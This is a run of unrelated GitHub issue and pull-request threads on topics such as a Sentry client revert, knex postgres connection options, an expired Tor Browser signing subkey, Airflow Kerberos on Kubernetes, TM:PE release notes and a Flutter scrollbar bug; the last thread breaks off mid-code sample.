[ ] allow service review method only if the service is hosted on the same CSP to which the logged in user belongs to.

I will take it.


Revert "CHECKOUT-6524: Fix Sentry client initialization to avoid conflict"

What
Reverts bigcommerce/checkout-js#1610.
Why
Reverting this PR because this.hub = createHub(clientOptions); is not working in production and stopping Sentry from logging any issue.
An example of a production error message:
Refused to create a worker from 'blob:https://checkout.solostove.com/5837bd07-3018-47d1-8af1-50e16ed86d04' because it violates the following Content Security Policy directive: "script-src 'none'". Note that 'worker-src' was not explicitly set, so 'script-src' is used as a fallback.

@bc-peng Could you explain a bit in the description section why we are reverting and link to the issue? Thanks

Sure, updated.


Make sure E2EE is compatible with early upload

After #58
In a "simple" E2EE approach, the Mobile source has to wait until QR-code has been scanned, in order to use the secret scanned passphrase P to encrypt the resource, and then upload it.
Find a way to encrypt with some local key K and upload the resource, before the QR-code has been scanned.

Solution: a random single-use symmetric crypto key P generated by the mobile source.
P must not transit in clear text through the backend, it will have to be encrypted with K, after K has been scanned.


application name for postgresql

I was wondering if it is possible to send the "application name" when making a connection to postgres. I'm not sure if other supported databases have this as an option.
Information on the parameter is available in the docs
If not specified the default value could be the name field from package.json.
This would be very helpful when troubleshooting issues server side as right now the application_name field is null when running a query like below under postgres:
select * from pg_stat_activity;

Yep, in looking at PG's code, it looks like you can specify application_name in the connection config. Let me know if this doesn't work

so using this format would be unsupported for setting the application_name:
var knex = require('knex')({
  client: 'mysql',
  connection: {
    host : '<IP_ADDRESS>',
    user : 'your_database_user',
    password : 'your_database_password',
    database : 'myapp_test'
  }
});

but this should work
var pg = require('knex')({
  client: 'pg',
  connection: process.env.PG_CONNECTION_STRING,
  searchPath: 'knex,public'
});

correct?

No, the application name is probably falling off. The url parsing needs a bit of work, will try to take a look at it soon

@tgriesser I'm looking to pass the application_name as well. Is this issue still on your radar?

@cklanac didn't
connection: {
    host : '<IP_ADDRESS>',
    user : 'your_database_user',
    password : 'your_database_password',
    database : 'myapp_test',
    application_name: 'app-name'
  }

way work?
Anyways, since this should be already possible I'm closing this one and added issue about fixing connection url parser https://github.com/tgriesser/knex/issues/2354

    interface ConnectionConfig {
        host: string;
        user: string;
        password: string;
        database: string;
        domain?: string;
        instanceName?: string;
        debug?: boolean;
        requestTimeout?: number;
    }

Does somebody need to update @types/knex to support this?

That issue should be filed to @types/knex repo, those typings are not maintained by us.

I'm trying to specify application name like
connection: {
    host : '<IP_ADDRESS>',
    user : 'your_database_user',
    password : 'your_database_password',
    database : 'myapp_test',
    application_name: 'app-name'
  }

but it just won't work. knex 0.15.2, pg 9.6.6. Any ideas, how to pass it?

@you-fail-me See https://github.com/brianc/node-postgres/blob/master/lib/connection-parameters.js
application_name seems correct. Can you try debugging and see if your application_name gets set inside the driver? ('pg')

I'm reopening this since typing are now handled internally and we can fix them.

New issue should be opened for that typing stuff. As I see this was about being able to pass that  application_name attribute to the driver in connection string and then hijacked for typing related stuff
:)


Screensaver not working properly anymore since mame 0.223 (possibly earlier)

Sicne mame 0.223, now the screensaver will forcibly shpow the "emulation/sound is not workingp ress any key to continue", obviously pressing any key will just quit the screensaver and goes back to Windows. For some weird reasons, only neogeo games are actually shown as attract mode screensaver, all the other games will just show this static screen and nothing else

Do you get the same issue when  you run mame directly? Could it be any of the arguments set on the settings page?

yeah but only in mame64 (command line).does not happen with mameui, but that is not supported by the screensaver
Inviato da Libero Mail per Android Mercoledì, 28 Ottobre 2020, 08:39PM +01:00 da Mladen Mihajlović<EMAIL_ADDRESS>:

Do you get the same issue when  you run mame directly? Could it be any of the arguments set on the settings page?
—
You are receiving this because you authored the thread.
Reply to this email directly,  view it on GitHub , or  unsubscribe .

Only got to this now - but I just tried it with 0.259 and it works fine. Please reopen with more info if it happens again.


SAK-33728. Revert logger change from SAK-31796

I'm not able to reproduce the problem in my local :(
SAK-31796 should be the problem so I've reverted the change in endorsed. This PR probably resolves it, would be good if someone could confirm the solution.

Yeah, I believe that the classes included with endorsed don't have access to other classes in the classpath. So I think it's fine to leave this as-is.


Added Backers and Sponsors from OpenCollective

woot thanks!
ps. the text in the Apex image on there is a little small, might be better off using the Readme one for now, not sure

I'm blind I didn't see the logo on the top haha


Intermitent "serve" hang on FreeBSD

Every time I run gutenberg serve there's roughly a 50% chance it gets to Done in <x>ms and then stops dead.
Seems to be an issue with locking as far as I can tell - one thread is sat waiting to acquire a mutex while everything else is asleep.  Comparing with a functioning process most threads aren't starting.
Will update if I find anything substantive (suggestions on what to look for welcome!)

Every time I run gutenberg serve there's roughly a 50% chance it gets to Done in ms and then stops dead.

Do you mean it doesn't show anything in the terminal anymore later? I don't think I have ever seen that :o
All the code related to serve is in src/cmd/serve.rs. You could try to reproduce that in 0.3.4 to see if it's caused by the webserver: it now uses actix-web instead of iron but I'm not too sure why that would be the cause.
The multithreading itself uses Rayon, that seems unlikely the issue is in it.
I would probably add some logging around https://github.com/Keats/gutenberg/blob/master/src/cmd/serve.rs#L155-L232 to see where it stops and in detect_change_kind to see if changes are still detected.
PS: I published a new version of sass-sys and updated gutenberg master so it should build without changes for you now.

Does it actually get to https://github.com/Keats/gutenberg/blob/master/src/cmd/serve.rs#L228 (ie can you print watchers). This kind of looks like when a server has started and stops the execution of the rest of the program because it blocks which makes me think it's either the webserver (even though we changed to actix, it still uses the same structure) or the websocket server.
Is there any gotcha on threading in Rust in BSDs?

Master builds out of the box now. If we can sort out serve I'll see about making a port.

Great!

Yeah, I suspected that, but it appears to actually be notify; I put logging messages on each call to watch and when it wedges it's stopped part way through - not always at the same place.
It looks like it's just using the stock polling backend on FreeBSD, so it's not some weird kqueue thing (indeed ktrace shows no kevent/kqueue calls except on successful runs).  I guess the fallback backend simply isn't exercised very well.
Judging by the "cannot be shared between threads safely" errors from cargo test, nor is the test suite...

And pull request upstream.

Fixed in notify 4.0.4.

Updated master, let me know if you run into other issues or if everything is ok!

Looks good!  Closing as fixed.


Why --user?

Is the --user switch required to properly install/use this app? Why is it the suggested method? Thank you.

Hi
I tend to prefer installing 3rd party softwares (packages that are not validated by Debian) in the userland to avoid security issues as much as possible.
But if you trust enough a package you can install it for all your users, and you can install  gnome-extensions-cli for all users too.
The one setup you cannot do is installing  gnome-extensions-cli in a virtualenv that does not has access to system site packages, because of the way it uses some DBus python bindings (which were not available with pip) as far as I remember.
I hope I answered your question.


SIGNATURE VERIFICATION FAILED!

But when I changed the localization of the interface back into English, the problem disappeared .

I got the same error.  uname -a:
Linux opus 5.11.0-18-generic #19-Ubuntu SMP Fri May 7 14:22:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
My installation is English.

I have the same issue on Debian buster installed via the backports

#metoo

I have the same error message

The cause of this issue actually lies in Tor project instead of this project. The GPG signing subkey rsa4096/EB774491D9FF06E2 expired on 2021-06-12:
$ gpg --list-options show-unusable-subkeys --list-public-keys
...
pub   rsa4096/4E2C6E8793298290 2014-12-15 [C] [expires: 2025-07-21]
      Key fingerprint = EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290
uid                 [ unknown] Tor Browser Developers (signing key<EMAIL_ADDRESS>sub   rsa4096/2D000988589839A3 2014-12-15 [S] [revoked: 2015-08-26]
      Key fingerprint = 05FA 4425 3F6C 19A8 B7F5  18D4 2D00 0988 5898 39A3
sub   rsa4096/EB774491D9FF06E2 2018-05-26 [S] [expired: 2021-06-12]
      Key fingerprint = 1107 75B5 D101 FB36 BC6C  911B EB77 4491 D9FF 06E2

$ gpg --verify ~/.cache/torbrowser/download/tor-browser-linux64-10.0.17_en-US.tar.xz.asc.verification_failed ~/.cache/torbrowser/download/tor-browser-linux64-10.0.17_en-US.tar.xz.verification_failed
gpg: Signature made Wed 02 Jun 2021 07:26:05 AM CST
gpg:                using RSA key EB774491D9FF06E2
gpg: Good signature from "Tor Browser Developers (signing key<EMAIL_ADDRESS>[unknown]
gpg<EMAIL_ADDRESS>Verified 1 signatures in the past 21 hours.
     Encrypted 0 messages.
gpg: Note: This key has expired!
Primary key fingerprint: EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290
     Subkey fingerprint: 1107 75B5 D101 FB36 BC6C  911B EB77 4491 D9FF 06E2

yea i know, it downloads the same tarball and sig on torproject. i just want to complain here

See #564 for a workaround.

what's the solution?

what's the solution?

adjust your clock or just download it from the torproject site

can we just wait for an update key in a few ?

can we just wait for an update key in a few ?

we can. but can you?

Fixed in torbrowser-launcher 0.3.4


add support for airflow kerberos renewer

Hi,
I'm not sure how to use Kerberos with Airflow in a Kubernetes environment.
Do I need to store the keytab in a secret in K8S ? Or rebuild airflow's image and add the keytab to the image ?
And after, do I need to launch "one" container with the renewer ? I don't see how it is working with k8s...
Any help would be appreciated :).
Regards,

@Jeoffreybauvin We should (and probably will) implement native support for kerberos in this chart, that is, running the airflow kerberos ticket refresher on each worker (or pod_template, for K8S executor) if the user provides the name of a Secret containing a keytab, along with a principal.
However you can probably do something similar by mounting your keytab from a Secret with the extraVolumeMounts and extraVolumes values, along with using extraContainers to run an airflow refresh container.

Bumping for bot.


TRSv2-442 - Only invited rep can accept invitation

Codecov Report
Base: 40.58% // Head: 40.51% // Decreases project coverage by -0.07% :warning:

Coverage data is based on head (dc50e15) compared to base (ede4155).
Patch coverage: 0.00% of modified lines in pull request are covered.

Additional details and impacted files
@@             Coverage Diff             @@
##           develop     #263      +/-   ##
===========================================
- Coverage    40.58%   40.51%   -0.07%
===========================================
  Files           94       93       -1
  Lines         5357     5339      -18
  Branches       623      621       -2
===========================================
- Hits          2174     2163      -11
+ Misses        3183     3176       -7

Impacted Files
Coverage Δ

trade_remedies_public/cases/urls.py
100.00% <ø> (ø)

...cases/v2_views/accept_representative_invitation.py
41.26% <0.00%> (-1.59%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

Do not merge with develop until Mary Bowden or Nick Insley have (tested and) approved the changes.


Add dynamic hitpoints orb icon to posion plugin

This addition was inspired by a reddit post by the user /u/TheUxFriend

Venom/Poison heart are prioritized over the diseased heart.

I'd prefer if we stuck to the default heart color and changed its hue to get the other hearts. I'll look at this tomorrow and see if I can get adjusted images for that.

Also, use ImageUtil to resize the image canvas for those heart images; there's no need to have extra transparency around the edges just for that.

I saw some comments on the reddit thread about color confusion with colorblindness. I doubt it's RuneLite's job to address that, but it might be worth trying to make it a little easier for people by shifting the hues (or maybe darkening disease) slightly.

Simulated deuteranomaly, ~6% of men
Using https://www.color-blindness.com/coblis-color-blindness-simulator/ to generate this:

@Nightfirecat I removed the white space around the images and used resizeCanvas as suggested.
The only changes made on the images were a Black Border instead of Brown, White shine instead of yellow, and Color for the 3 new hearts.
@widget- Should we adjust the hues or would adding a letter inside the Hearts be a better solution

Reopened this as a stand-alone plugin as #7232 was closed.

Updated PR to add functionality to the existing Poison plugin


Sending a link to the story book crash

I just wanted to share this link
https://zakodium.github.io/react-plot/?path=/story/api-scatter--scatter-control
But I get an error
values is not iterable
TypeError: values is not iterable
    at __webpack_exports__.a (https://zakodium.github.io/react-plot/vendors~main.b02a85c3.iframe.bundle.js:2:1917008)
    at https://zakodium.github.io/react-plot/main.d4c7e6f4.iframe.bundle.js:1:326405
    at fk (https://zakodium.github.io/react-plot/vendors~main.b02a85c3.iframe.bundle.js:2:1531244)
    at exports.unstable_runWithPriority (https://zakodium.github.io/react-plot/vendors~main.b02a85c3.iframe.bundle.js:2:1549315)
    at gg (https://zakodium.github.io/react-plot/vendors~main.b02a85c3.iframe.bundle.js:2:1471787)
    at Oj (https://zakodium.github.io/react-plot/vendors~main.b02a85c3.iframe.bundle.js:2:1530710)
    at https://zakodium.github.io/react-plot/vendors~main.b02a85c3.iframe.bundle.js:2:1530623
    at V (https://zakodium.github.io/react-plot/vendors~main.b02a85c3.iframe.bundle.js:2:1548285)
    at MessagePort.F.port1.onmessage (https://zakodium.github.io/react-plot/vendors~main.b02a85c3.iframe.bundle.js:2:1546996)
    ```

seems strange to me, in local I don't have that error on that view, I'll investigate a little bit further


The media table is sometimes empty after refresh

Discovered along with https://github.com/opendatakit/central-backend/issues/243
Sometimes, when I refresh the media file page, the table is empty:

There's no particular pattern. Sometimes I refresh and I see the media file and sometimes it's gone. All of my forms with media seem to have this property.
Chrome Version 78.0.3904.108 (Official Build) (64-bit)
versions:
75f11f18b6d697a73b025b46a9d0e7f6e2e5f0c0
U0000000000000000000000000000000000000000 client
+63ecaece46a52fd0e8cf4a0f64b2d189660e149b server (v0.6.0-beta.0-54-g63ecaec)

This should be resolved by #270!


chore(master): Release 0.16.0

:robot: I have created a release beep boop
aztec-packages: 0.16.0
0.16.0 (2023-11-27)
⚠ BREAKING CHANGES

deprecate circuits/cpp (#3421)
call stack validation optimisation. (#3387)

Features

Base rollup in noir (#3257) (4a1e9c3)
Call stack validation optimisation. (#3387) (d06d5db)
Goblin proof construction (#3332) (6a7ebb6)
More logs relevant for debugging failures of 2 pixies test (#3370) (683a0f3)
Noir subrepo. (#3369) (d94d88b)
Noir_wasm compilation of noir programs (#3272) (f9981d5)
Rollback public state changes on failure (#3393) (0e276fb)

Bug Fixes

docs: Doc explaining noir debug_log (#3322) (eed023d)
Naming inconsistency in private kernel (#3384) (4743486)
Race condition in PXE.getTxReceipt(...) (#3411) (9557a66)

Miscellaneous

Deprecate circuits/cpp (#3421) (4973cfb)
Deterministically deduplicate cached_partial_non_native_field_multiplication across wasm32 and native compilations (#3425) (5524933)
docs: Common patterns and anti patterns in aztec.nr (#3413) (65bd855)
Fix and reenable e2e quick start (#3403) (112740e), closes #3356
Fix intermittent failures for block-building e2e test (#3404) (e76e2d4), closes #3358
Formatted noir-contracts and aztec-nr (a73c4aa)
Initial clone of noir to subrepo (#3409) (8f1cb83)
noir-contracts: Remove redundant return value of 1 (#3415) (2001d47), closes #2615
Plumbs noir subrepo into yarn-project. (#3420) (63173c4)
Remove pxe / node /p2p-bootstrap docker images (#3396) (c236143)
Skip artifacts for prettier (#3399) (98d9e04)
Update path to acir artifacts (#3426) (f56f88d)

barretenberg.js: 0.16.0
0.16.0 (2023-11-27)
Miscellaneous

Plumbs noir subrepo into yarn-project. (#3420) (63173c4)

barretenberg: 0.16.0
0.16.0 (2023-11-27)
Features

Goblin proof construction (#3332) (6a7ebb6)
Noir subrepo. (#3369) (d94d88b)

Miscellaneous

Deterministically deduplicate cached_partial_non_native_field_multiplication across wasm32 and native compilations (#3425) (5524933)
Plumbs noir subrepo into yarn-project. (#3420) (63173c4)
Update path to acir artifacts (#3426) (f56f88d)

This PR was generated with Release Please. See documentation.

Benchmark results
Metrics with a significant change:

note_trial_decrypting_time_in_ms (8): 100 (+433%)
note_trial_decrypting_time_in_ms (32): 94.6 (+599%)

Detailed results
All benchmarks are run on txs on the Benchmarking contract on the repository. Each tx consists of a batch call  to create_note and increment_balance, which guarantees that each tx has a private call, a nested private call, a public call, and a nested public call, as well as an emitted private note, an unencrypted log, and public storage read and write.
This benchmark source data is available in JSON format on S3 here.
Values are compared against data from master at commit 5cfbb68b and shown if the difference exceeds 1%.
L2 block published to L1
Each column represents the number of txs on an L2 block published to L1.

Metric
8 txs
32 txs
128 txs

l1_rollup_calldata_size_in_bytes
45,444
179,588
716,132

l1_rollup_calldata_gas
222,960
868,064
3,449,396

l1_rollup_execution_gas
842,047
3,595,172
22,204,765

l2_block_processing_time_in_ms
1,994 (-2%)
7,624 (-2%)
29,891 (-2%)

note_successful_decrypting_time_in_ms
298 (-5%)
885 (-2%)
3,184 (-3%)

note_trial_decrypting_time_in_ms
:warning: 100 (+433%)
:warning: 94.6 (+599%)
141

l2_block_building_time_in_ms
20,831 (-2%)
81,776 (-2%)
326,016 (-1%)

l2_block_rollup_simulation_time_in_ms
12,163 (-2%)
47,428 (-2%)
188,125 (-2%)

l2_block_public_tx_process_time_in_ms
8,626 (-2%)
34,203 (-2%)
137,371 (-1%)

L2 chain processing
Each column represents the number of blocks on the L2 chain where each block has 16 txs.

Metric
5 blocks
10 blocks

node_history_sync_time_in_ms
22,094 (-1%)
42,674 (-1%)

note_history_successful_decrypting_time_in_ms
2,054 (-3%)
3,977 (-4%)

note_history_trial_decrypting_time_in_ms
126 (-1%)
157 (+1%)

node_database_size_in_bytes
1,631,734
1,097,362

pxe_database_size_in_bytes
29,748
59,307

Circuits stats
Stats on running time and I/O sizes collected for every circuit run across all benchmarks.

Circuit
circuit_simulation_time_in_ms
circuit_input_size_in_bytes
circuit_output_size_in_bytes

private-kernel-init
767 (-1%)
61,697
18,905

private-kernel-ordering
127 (-1%)
24,297
8,153

base-rollup
1,754 (-1%)
656,428
873

root-rollup
168 (-1%)
4,072
1,097

private-kernel-inner
792 (-1%)
81,568
18,905

public-kernel-private-input
570 (-1%)
41,519
18,905

public-kernel-non-first-iteration
408 (-1%)
41,561
18,905

merge-rollup
15.4 (-2%)
2,592
873

Miscellaneous
Transaction sizes based on how many contracts are deployed in the tx.

Metric
0 deployed contracts
1 deployed contracts

tx_size_in_bytes
8,787
27,547

:robot: Release is at https://github.com/AztecProtocol/aztec-packages/releases/tag/aztec-packages-v0.16.0 :sunflower:

:robot: Release is at https://github.com/AztecProtocol/aztec-packages/releases/tag/barretenberg.js-v0.16.0 :sunflower:

:robot: Release is at https://github.com/AztecProtocol/aztec-packages/releases/tag/barretenberg-v0.16.0 :sunflower:


clear command - Windows Terminal in VSCode

About the device

Summary of the bug
I deployed the windows terminal dev build and then started working on a separate project on VScode. I opened the VScode terminal and then after typing a couple of commands, I hit clear

After hitting clear, the cursor just moves to the top, but the contents of the terminal aren't cleared. In fact, everytime I write a command after clearing, it just writes over the previous command as if it were an empty line.

I am not sure if this is a bug in VSCode or the windows terminal, so I have posted this issue in the vscode github page too.

I can't get VSCode or putty-wincon to reproduce this behavior. Would you mind running clear|xxd and pasting the output here?
VSCode and putty-wincon are using the same technology under the hood. If I can't get it to reproduce in putty-wincon, chances are it's a VSCode issue ... but if I can't get it to reproduce in VSCode, I'm questioning whether I'm doing the right thing.

clear|xxd command ran in VSCode

@dash-mode did you enable conpty in VSCode, or are you still using winpty?
I believe the setting is "terminal.integrated.windowsEnableConpty": true

@zadjii-msft
Yes, it is enabled.

https://github.com/microsoft/vscode/issues/72130
Similar issue being tackled here. ^
I also wanted to point out that I am not facing this issue in my mac. This is happening in my windows machine,

This is already fixed in v1.36, see https://github.com/microsoft/vscode/issues/72130#issuecomment-503390207 for the details.
In the future issues in VS Code's terminal should be created over on microsoft/vscode as there's many different parts that things can go wrong and I like to avoid getting the console team involved until I'm pretty sure conpty/conhost is the cause.

Thanks again, @Tyriar!

This is already fixed in v1.36, see microsoft/vscode#72130 (comment) for the details.
In the future issues in VS Code's terminal should be created over on microsoft/vscode as there's many different parts that things can go wrong and I like to avoid getting the console team involved until I'm pretty sure conpty/conhost is the cause.

Hey @Tyriar . I did post the exact same issue in microsoft/vscode/issues/75607 . But I have closed it now since it has been fixed. Thanks


refactor find cluster version - 617

[Auto generated]
Number: [#617]

openshift-cli-installer(HZvJz)[PR 617]: Closing issue for PR: refactor find cluster version.
PR was closed.


FR: "Ping Only" devices

As a user, I need the ability to define devices as "ping only" in order to gather availability metrics from devices that do not support SNMP. This closes functional parity with legacy NPM tools and allows me to create entities in NR to provide full coverage monitoring.
example:
devices:
  deviceOne:
    device_name: endpoint123
    device_ip: <IP_ADDRESS>
    provider: kentik-ping
    ping_only: true

Added in #204


RU translations

Thanks @yivo - ironically enough, a couple of minutes ago I just pushed a fix to all the locales where the message entry was fixed to the proper messages entry.  Thanks!

see also: b9e68cec6ed6f2f9842e39d8fd3a1e93cfac38a5

@booleanbetrayal, fixed!

Awesome!


Highlight new sidebar items

Projects or styleguides when added
Screens or components when pinned

We have no control over it, but yes, it does


What's New in TM:PE <IP_ADDRESS> ?

This update adds two new features, overhauls mod options code, and improves modding API.

[New] Disable Despawn feature now has vehicle-type filters #1441 #1434 (Marconius6, lokpro, krzychu124)
[New] Timed Traffic Lights now available in Map and Scenario editors #1425 #959 (aubergine18)
[Mod] API: Mods can now use TMPE.API.dll alone, without referencing TrafficManager.dll #1448 (kianzarrin)
[Mod] API: TM:PE Harmony ID changed from de.viathinksoft.tmpe to me.tmpe #1456 #897 (krzychu124)
[Mod] Update: UUI version 2.2.1 via NuGet #1442 (kianzarrin)
[Fixed] NullReferenceException if version in global config is not set #1443 (krzychu124)
[Fixed] UI windows/overlays not consuming mouse events #1443 #934 #749 (somethingstarted, MacSergey, krzychu124)
[Fixed] Missing textures in Scenario Editor #1451 #1450 #1449 (krzychu124, kianzarrin)
[Fixed] Memory leak when closing Lane Arrows panels #1451 (krzychu124)
[Fixed] Features missing if starting new game after using asset editor #1425 #1423 #1422 (NateNate60, aubergine18)
[Fixed] Typo in notifier method name #1440 (aubergine18)
[Updated] Use game-defined elevation keymapping to select under/over-ground views #1454 #1326 (krzychu124)
[Updated] Add/update UI helpers for use in mod options #1431 #1430 #1424 #1419 (aubergine18)
[Updated] Refactoring mod options #1464 #1455 #1435 #1432 #1422 #1411 #1416 #1356 #1279 #62 (aubergine18)
[Updated] Replaced Overlay Transparency with Overlay Opacity #1432 #1268 (aubergine18)
[Updated] Minimum GUI/Overlay opacity limited to 10% #1432 #1409 (KHY-afk, aubergine18)
[Updated] Use Prompt.Error for error message display #1445 (aubergine18)
[Updated] Better handling of KeyNotFound exception when copying segments #1453 (kianzarrin)
[Updated] Improved mod option lifecycle for game/editors #1452 #1449 #1425 (aubergine18)
[Updated] Extension for managed-type vehicleId to ExtVehicleType #1444 (aubergine18)
[Updated] Simplify Harmony patching for Reversible Tram AI #1457 (kianzarrin)
[Updated] Un-invert Options.disableDespawning data byte (aubergine18, kianzarrin)
[Updated] MayPublishSegmentChanges() moved to TMPELifecycle; API unaffected #1432 (aubergine18)
[Updated] Buses may ignore lane arrows enabled by default when starting new city #1455 (aubergine18)
[Removed] Obsolete gamebridge stuff from build script #1436 (aubergine18)
[Removed] "Apply AI changes right away" option; changes always applied immediately now #1432 (aubergine18, kvakvs)

Is there a chance to collect pending PRs to release it tomorrow or at Sunday?

Added pending PRs, updated changelog and readme too.

Bumped game ver for recent patch: https://steamcommunity.com/games/255710/announcements/detail/3103548062078262527

Ready for release. The few green icons in OP are just ongoing work; everything for this PR is now merged.

Just waiting on #1464 now; if the altered bus lane arrows option is to be kept (was off by default, now on by default) should that be mentioned in changelog?

@krzychu124 All PRs merged, ready for release (again heh)

I'll update workshop when I wake up :)

@aubergine10 why all features at Maintenance tab are disabled when I start new game??

I'm also 99% sure that you've added change to the localization reading method to include TEST for translation key stripping if no translation is added (like it does for Stable). What is going on??

plus... it looks like scrollbar is not visible and not working at Keybinds tab ☹

Something is broken (dlc map, new game, latest master)... TMPE.log


1970 accordion playground

Summary of the changes
Add playground story and update accordion to watch props and use message prop
Related issue
Part of #1970
Checklist
General

[x] Changes to docs package checked and committed.
[x] All acceptance criteria reviewed and met.

Testing

[x] Relevant unit tests and visual regression tests added.
[x] Visual testing against Figma component specification completed.

Accessibility

[x] Accessibility Insights FastPass performed.
[x] A11y unit test added and yields no issues.
[x] A11y plug-in on Storybook yields no issues.
[x] Manual screen reader testing performed using NVDA and VoiceOver.
[x] Manual keyboard testing for keyboard controls and logical focus order.
[x] Correct roles used and ARIA attributes used correctly where required.
[x] Logical heading structure is maintained, and the HTML elements used for headings can be changed to fit within the wider page structure.

Resize/zoom behaviour

[x] Page can be zoomed to 400% with no loss of content.
[x] Screen magnifier used with no issues.
[x] Text resized to 200% with no loss of content.
[x] Text spacing increased as per the WCAG 1.4.12 success criterion with no loss of content.

System modes

[x] Browser setting 'prefers reduced motion' tested. No animations or motion visible whilst this setting is on.
[x] Windows High Contrast mode tested with no loss of content.
[x] System light and dark mode tested with no loss of content.
[x] Browser support tested (Chrome, Safari, Firefox and Edge).

Testing content extremes

[x] Min/max content examples tested with no loss of content or overflow.
[x] All prop combinations work without issue.
[x] Tested for FOUC (Flash of Unstyled Content) in both SSR (Server-Side Rendering) and SSG (Static Site Generation) settings.
[x] Controlled and uncontrolled input components tested.

could the appearance control be changed to a radio? - it's currently a select:
Also, can we add some conditional styling to show the light appearance, like we have with other comps (in react storybook)?

I've updated to light appearance. Weirdly both web components and react appearance controls were already set as radio, so it might be a weird cache thing that select was still showing.

Got a little bit of strange behaviour on the playground regarding the Expanded toggle where it only expands the second acccordion, but if you refresh the canvas it succesfully expands both of them:
https://github.com/mi6/ic-ui-kit/assets/111292477/b5dd8564-a455-426c-9241-9e1c45804f86

Got a little bit of strange behaviour on the playground regarding the Expanded toggle where it only expands the second acccordion, but if you refresh the canvas it succesfully expands both of them:
Screen.Recording.2024-06-19.at.10.44.41.mov

Weird, I can see that behaviour too but only for React storybook. I'll have a look into it

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Don't know if this is within the scope of this ticket, but noticed that the appearance of the accordion can be either dark, default or light, but in the Figma designs, there are only dark and light variants. Also the "dark" accordion at the moment is not quite correct in that it is showing black heading text and white body / message text


Scroll with unnecessary animation and updates when maximizing window.

Hi!
I recorded this GIF doing the horizontal resizing (to have a smaller image) but it generates the same effect when maximize the window.

You can see that the scroll keeps changing its size and the content keeps moving.
This happens when the scroll offset is at the end.
In horizontal resizing, it is understandable because it must generate multiple events. But it gets really weird when maximizing the window (should be only one event) and seeing the entire content slowly move to the side.
I've also noticed that the scroll offset is updated numerous times when maximizing the window as if trying to adjust until it succeeds. Updates before the last one are also with offset values greater than the maximum allowed. This also happens when resizing horizontally.
Steps to Reproduce

move scroll to the end
maximize the window

Code
class HomePage extends StatefulWidget {
  const HomePage({Key? key}) : super(key: key);

  @override
  State<HomePage> createState() => _HomePageState();
}

class _HomePageState extends State<HomePage> {
  final ScrollController _scrollController = ScrollController();

  @override
  void initState() {
    _scrollController.addListener(_scrollListener);
    super.initState();
  }

  @override
  void dispose() {
    _scrollController.dispose();
    super.dispose();
  }

  void _scrollListener() {
    // offset bigger than maxScrollExtent?
    print(
        'offset: ${_scrollController.offset} / maxScrollExtent: ${_scrollController.position.maxScrollExtent}');
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
        body: Theme(
            data: ThemeData(
                scrollbarTheme: ScrollbarThemeData(
                    thumbVisibility: MaterialStateProperty.all(true),
                    thumbColor: MaterialStateProperty.all(Colors.red))),
            child: Scrollbar(
                controller: _scrollController,
                child: SingleChildScrollView(
                    controller: _scrollController,
                    scrollDirection: Axis.horizontal,
                    child:
                        const SizedBox(width: 2000, child: Placeholder())))));
  }
}

Prints from the listener
...
offset: 82.05680889386778 / maxScrollExtent: 80
offset: 81.76819620001922 / maxScrollExtent: 80
offset: 81.51992893399559 / maxScrollExtent: 80
offset: 81.30657864605345 / maxScrollExtent: 80
offset: 81.12319587706092 / maxScrollExtent: 80
offset: 80 / maxScrollExtent: 80

flutter doctor -v
[✓] Flutter (Channel stable, 3.0.1, on Ubuntu 20.04.4 LTS 5.13.0-48-generic, locale en_US.UTF-8)
    • Flutter version 3.0.1 at /cadu/desenv/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision fb57da5f94 (3 weeks ago), 2022-05-19 15:50:29 -0700
    • Engine revision caaafc5604
    • Dart version 2.17.1
    • DevTools version 2.12.2

[✓] Android toolchain - develop for Android devices (Android SDK version 32.0.0)
    • Android SDK at /home/cadu/Android/Sdk
    • Platform android-32, build-tools 32.0.0
    • ANDROID_SDK_ROOT = /home/cadu/Android/Sdk
    • Java binary at: /cadu/desenv/android-studio/jre/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)
    • All Android licenses accepted.

[✓] Chrome - develop for the web
    • Chrome at google-chrome

[✓] Linux toolchain - develop for Linux desktop
    • clang version 10.0.0-4ubuntu1
    • cmake version 3.16.3
    • ninja version 1.10.0
    • pkg-config version 0.29.1

[✓] Android Studio (version 2021.2)
    • Android Studio at /cadu/desenv/android-studio
    • Flutter plugin version 67.1.2
    • Dart plugin version 212.5744
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)

[✓] IntelliJ IDEA Community Edition (version 2021.2)
    • IntelliJ at /cadu/desenv/idea-IC-211.7628.21
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart

[✓] VS Code (version 1.67.2)
    • VS Code at /usr/share/code
    • Flutter extension can be installed from:
      🔨 https://marketplace.visualstudio.com/items?itemName=Dart-Code.flutter

[✓] Connected device (3 available)
    • moto g 9 plus (mobile) •<PHONE_NUMBER> • android-arm64  • Android 11 (API 30)
    • Linux (desktop)        • linux      • linux-x64      • Ubuntu 20.04.4 LTS 5.13.0-48-generic
    • Chrome (web)           • chrome     • web-javascript • Google Chrome 102.0.5005.61

[✓] HTTP Host Availability
    • All required HTTP hosts are available

• No issues found!

Hi @caduandrade, thanks for filing the issue.
This issue is reproducible on the latest stable and master channels.
The issue is not only happened on the web, it's also represented on desktop platforms (see demo videos)

Demo
https://user-images.githubusercontent.com/104349824/173022850-5c4df5e2-cb61-428f-b0b5-bdcacd68dbc4.mp4
https://user-images.githubusercontent.com/104349824/173022951-284a7bf3-2682-43ac-ab8e-abf5d52dd711.mp4
https://user-images.githubusercontent.com/104349824/173022967-e9f3fa0b-2379-4faa-8fe7-2204ecac07fc.mp4
https://user-images.githubusercontent.com/104349824/173022743-e0a86270-874c-479f-ae5c-081c3950bdd7.mp4

Sample code
import 'package:flutter/material.dart';

void main() {
  runApp(const MyApp());
}

class MyApp extends StatelessWidget {
  const MyApp({Key? key}) : super(key: key);

